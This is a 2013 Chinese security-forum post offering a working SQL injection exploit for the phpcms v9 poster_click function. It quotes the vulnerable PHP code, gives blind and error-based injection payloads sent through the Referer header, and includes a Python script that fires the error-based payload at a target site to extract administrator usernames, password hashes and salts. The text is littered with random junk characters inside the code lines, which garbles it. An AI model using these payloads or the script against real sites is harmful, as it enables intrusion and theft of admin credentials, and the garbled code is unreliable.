找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2288|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
9 B0 J4 ~3 Z2 [. h5 q
$ c( o. L: J) p问题函数\phpcms\modules\poster\index.php% d( k* G3 ~9 c) q0 ^

" ?  b" v" u7 p2 j* a- n$ epublic function poster_click() {) Y* F4 b# _; h" ]
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;. J# A, {6 Z8 I3 g
$r = $this->db->get_one(array('id'=>$id));
- ~( p7 B) r. p0 C- O! z( r4 R) qif (!is_array($r) && empty($r)) return false;
9 I: j! A7 ^: D6 O3 x( Z$ip_area = pc_base::load_sys_class('ip_area');1 b2 r. B" z4 t" N7 ]1 i* O( l" O
$ip = ip();+ o. j7 g( o- ~- o1 V0 J
$area = $ip_area->get($ip);4 P; O8 ^+ L. {" |) P0 E
$username = param::get_cookie('username') ? param::get_cookie('username') : '';0 z6 @' G; d* R
if($id) {
3 e0 R# ?2 r; i! i. J# Q) L/ l$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
/ W5 k, I: D, C5 Y# e( d" H$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));- A& U0 @: [9 v: Q2 ?9 H
}: P% U2 F  o* a9 _9 x3 g; }
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
' U7 b3 W& s2 v$setting = string2array($r['setting']);/ A% o7 G: h+ [
if (count($setting)==1) {3 K2 E; P" G# G6 p3 n
$url = $setting['1']['linkurl'];
0 K  i( d0 ~- N! S  d} else {& p) @( e+ t+ I
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];( f: Q& z5 F4 G8 R& Q: I% y
}. C6 c) c0 r# j! y2 @' ~) @0 f
header('Location: '.$url);
# O0 q0 r) d' P$ ?  ^}. z3 C- u; ?+ r$ w( O

; z6 {, `( _1 ]
! v- Z& `% Q& k8 B
' t$ Z' H; U) J利用方式:5 ^2 r% b8 _! a  ?! ~8 Z6 F
3 a8 g- ~5 F& i. j% C/ P
1、可以采用盲注入的手法:* @: ^- G+ N4 a
+ k/ R$ K' k, B) W$ B4 H; c1 J
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#  c9 z. `( j6 _. p& ?, B" c

" A& D: C' G9 e- j+ M/ A通过返回页面,正常与否一个个猜解密码字段。
! m* @) e2 l2 A& g" y7 j
* k, F0 C$ q$ T  D! X& ]* B; O8 i2、代码是花开写的,随手附上了:0 @0 v" {7 X* S( z8 |3 A+ Q

; m9 F; A3 x# f- D% m3 Y0 L1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#. Y: V9 Y0 J% x
9 B/ F$ d1 W) }; g) a$ ~
此方法是爆错注入手法,原理自查。& ?: S7 }8 m2 y. ?2 o
# c( S$ _. y1 f; }8 p
( }" X7 j& X9 |+ h. Q6 ^/ n" u' l

! D- m0 n. n7 ]利用程序:
. B4 L% P7 e/ M9 Y8 f4 ^* K' O' v
1 Y& p6 G$ N3 k$ X#!/usr/bin/env python' u; [4 J# t* ?9 @" R; s
import httplib,sys,re
9 ^6 p, A8 R% M$ l" x* n8 i/ N3 s6 _' }  |
def attack():$ T: e% M  q+ l+ y* ?" p& I" `0 p; e
print “Code by Pax.Mac Team conqu3r!”+ b) Y" f: L% m2 Q2 D2 M/ @
print “Welcome to our zone!!!”8 g# t8 h- Z6 O$ ], P+ R
url=sys.argv[1]
- f: i' y4 n" ], u& v; g" z. Y+ L7 Wpaths=sys.argv[2]
3 J" O# u1 a; f1 Qconn = httplib.HTTPConnection(url)) r5 A5 _! H$ _* ]& q- c
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
) f9 I! V# k' P: H9 H“Accept”: “text/plain”,
2 }8 }5 F8 W1 ~  v, a! P' ^3 E“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
$ b. `% p' g% `) Z5 d+ T# O$ yconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers); ]; j) [% p  z  d7 l/ }
r1 = conn.getresponse()
9 f& J8 z2 \) y3 F8 ~: C8 t' ndatas=r1.read()$ P) j4 ^, K: h4 Y5 p: D1 T
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
2 Q5 B% S1 z; y* o; ^print datas[0]
3 K, I# }6 ~& y# jconn.close()2 d- x  `4 W4 l0 e; J
if __name__==”__main__”:
! l" b3 R' L4 q& uif len(sys.argv)<3:0 K: R, G5 Q% }+ \/ [0 }
print “Code by Pax.Mac Team conqu3r”
) a# i& {# I2 U& h) rprint “Usgae:”
+ B1 v* s; R& n4 [$ m4 dprint “    phpcmsattack.py   www.paxmac.org /”
9 B4 U& i" g+ K. ^- vprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
. _) j$ U" q( ]2 r5 Usys.exit(1)% h5 C3 n' O0 F5 G3 E
attack()
  s# \) z  i! M( H5 o! w3 b* l3 `1 P. `2 k* @3 t+ U' _0 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表